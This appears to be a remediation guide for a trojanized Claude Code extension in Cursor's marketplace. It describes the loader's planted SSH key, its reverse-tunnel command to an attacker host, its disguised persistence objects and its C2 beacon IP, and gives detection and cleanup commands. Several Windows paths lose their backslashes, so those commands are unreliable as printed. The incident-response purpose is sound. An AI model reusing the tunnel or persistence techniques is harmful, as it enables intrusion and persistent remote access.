QWE AI Academy Your machine ends clean – and stays that way
Goal state first: you know if the October 29, 2026 Cursor marketplace drop of trojanized Claude Code touched your box, every leftover is gone, anything that machine could reach is rotated, and AI coding extensions stop auto-updating into your trust boundary. Not a news dump. The checks developers actually need while “Anthropic hacked to deliver remote access trojan” still ricochets through chat.
Roughly eleven hours. Tampered anthropic.claude-code 2.1.312/2.1.313 in Cursor’s marketplace only. Planted SSH key comment svc-telemetry, reverse-tunnel attempt, persistence that survives extension uninstall. Anthropic’s systems weren’t breached – the actor published under the publisher identity on Cursor. Official VS Code Marketplace, Open VSX, npm, and builds 2.1.314+ stayed clean (Cursor security notice; Anthropic staff statements).
What the loader actually did (partial infection still sucks)
Real extension kept working. Nothing “felt” broken. Loader ran on module load, grabbed host details plus names of env vars matching KEY/TOKEN/SECRET patterns – not the values – then appended an Ed25519 public key to ~/.ssh/authorized_keys (and the Windows admin authorized_keys path).
Next move: try enabling local SSH and ssh -N -R '*:0:localhost:22' to [email protected], 60-second retry loop. Persistence dressed up like Apple/SysMon noise – LaunchAgent com.apple.sysmond.plist, Windows SysMon task or Startup sysmon.cmd, hidden .smt/.smtk, Linux @reboot crontab, temp .stk_ identity files. Beacon HTTP POST to 134.209.82.225:8099/beacon. Fingerprint to match if you want proof: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk (public key comment svc-telemetry).
Think of it like a locksmith who leaves a spare key under your mat while finishing a legitimate repair. The repair looks fine. The spare is the problem.
Cursor and Microsoft both flag the same gotcha: outside unusual admin starts, enabling SSH and landing the reverse tunnel often failed on permissions/config errors. Key + persistence + host beacon still landed. Treat key presence as compromise even though the C2 was taken offline by the hosting provider (as of Cursor’s notice).
Microsoft’s write-up is blunt on the env-var piece too – profiling names first, not a full secret dump in the callback. Later interactive access is a different story if a tunnel ever briefly worked before takedown.
Step-by-step: prove it, kill it, rotate
Every Mac/Windows box that ran Cursor on October 29, 2026. Linux remotes you SSH into from those boxes too. Block 134.209.82.225 first if you’re isolating.
1. One-line key check
macOS / Linux:
grep -qs svc-telemetry ~/.ssh/authorized_keys && echo "svc-telemetry key found" || echo "No key found; machine not impacted"Windows PowerShell:
$files = "$HOME.sshauthorized_keys", "C:ProgramDatasshadministrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files -and (Select-String svc-telemetry $files)) { "svc-telemetry key found" } else { "No key found; machine not impacted" }Optional: ssh-keygen -lf ~/.ssh/authorized_keys and hunt that SHA256 above.
2. Spot leftovers and the bad bundle
Remote-SSH is the underrated blast radius. Extension can land in ~/.vscode-server/extensions or ~/.cursor-server/extensions on a Linux box where sshd already runs – tunnel odds jump.
- macOS:
ls ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk 2>/dev/null;ls "$TMPDIR"/.stk_* 2>/dev/null - Windows:
Get-ScheduledTask -TaskName SysMon -ErrorAction SilentlyContinue;%USERPROFILE%.configsmt.cmd, Startupsysmon.cmd - Anywhere:
~/.cursor/extensionsand~/.vscode*foranthropic.claude-code-2.1.31[23]*whoseextension.jsmentionssvc-telemetryor the C2 IP
3. Official cleanup (read the script first)
Scripts live on Cursor’s security notice; deep dive on behavior is in Microsoft Threat Intelligence’s analysis:
- macOS – affected user, never root:
bash remediate-macos.sh - Windows – elevated PowerShell:
powershell -ExecutionPolicy Bypass -File .remediate-windows.ps1
They strip the key, kill tunnel processes, drop persistence objects, remove the bad extension folder, exit non-zero if junk remains. Then pin 2.1.314+.
4. Rotate from a clean device
SSH keys that box trusted. Git tokens. Cloud CLIs. Browser sessions. Anything in those profiled env-name categories. Clean machine only. Rebuild if your threat model says the spare-key metaphor isn’t cute anymore.
How much trust should a one-click marketplace update get when the publisher badge looks right? That question outlives this incident.
Pitfalls that still catch people
“No key after auto-update replaced the folder” is not a lifetime warranty – LaunchAgent/task + scripts can linger. Offline C2 ≠ dead planted key; whoever holds the private half can use it again if a listener returns. macOS script as root? It refuses. Skipping server-side extension dirs and Windows administrators_authorized_keys is how “clean laptop, dirty build host” happens.
How this stacks against other AI-tool supply-chain hits
| Vector | This incident | Fake “Claude Desktop” malvertising | npm package compromise |
|---|---|---|---|
| Delivery | Marketplace update under real publisher ID | Ads → lookalike installer | Typosquat or maintainer takeover |
| Persistence | SSH key + OS startup objects outside extension dir | Full RAT + stealer payload | postinstall or runtime hook |
| User action | Often zero (auto-update) | Click + run/paste | npm install |
| Scope (this event) | Cursor marketplace only, ≤5,000 users | Broader via ads | Depends on package reach |
Auto-update is what quietly expands blast radius. Publisher allow-lists plus a short cooldown before new extension versions go live shrink that window. Same habits apply the next time an AI coding add-on gets impersonated – remember the spare-key problem lives outside the extension folder.
FAQ
Was Anthropic actually hacked?
No. Cursor’s notice and Anthropic staff statements (including Felix Rieseberg and David Dworken) say a malicious actor used marketplace access to publish a tampered build. Official Anthropic channels stayed clean. One honest gap: public reporting still doesn’t spell out exactly how that marketplace publisher access was obtained – credentials, process gap, or something else. Treat that as unresolved, not as proof of an Anthropic production breach.
I already uninstalled Claude Code – am I done?
No. Run the key grep and the official remediate script. Uninstall leaves the planted key and startup objects.
Do I need to worry if I only use the Claude Code CLI or plain VS Code?
Registry and vendor checks so far put malicious 2.1.312/313 on Cursor’s marketplace only – not the official VS Code Marketplace, Open VSX, or npm. Misconception to dodge: “I never clicked Install that day, so I’m fine.” Auto-update and Remote-SSH server folders still matter if Cursor was in the path. Do a quick ls on extension dirs and the same svc-telemetry grep if you ever pulled from a secondary store or developed remotely. If unsure, pin versions and kill auto-update on high-privilege tools.
Open Cursor’s notice. One-line check on every machine from that day. Key shows up → remediate script before anything else. Then allow-list extensions.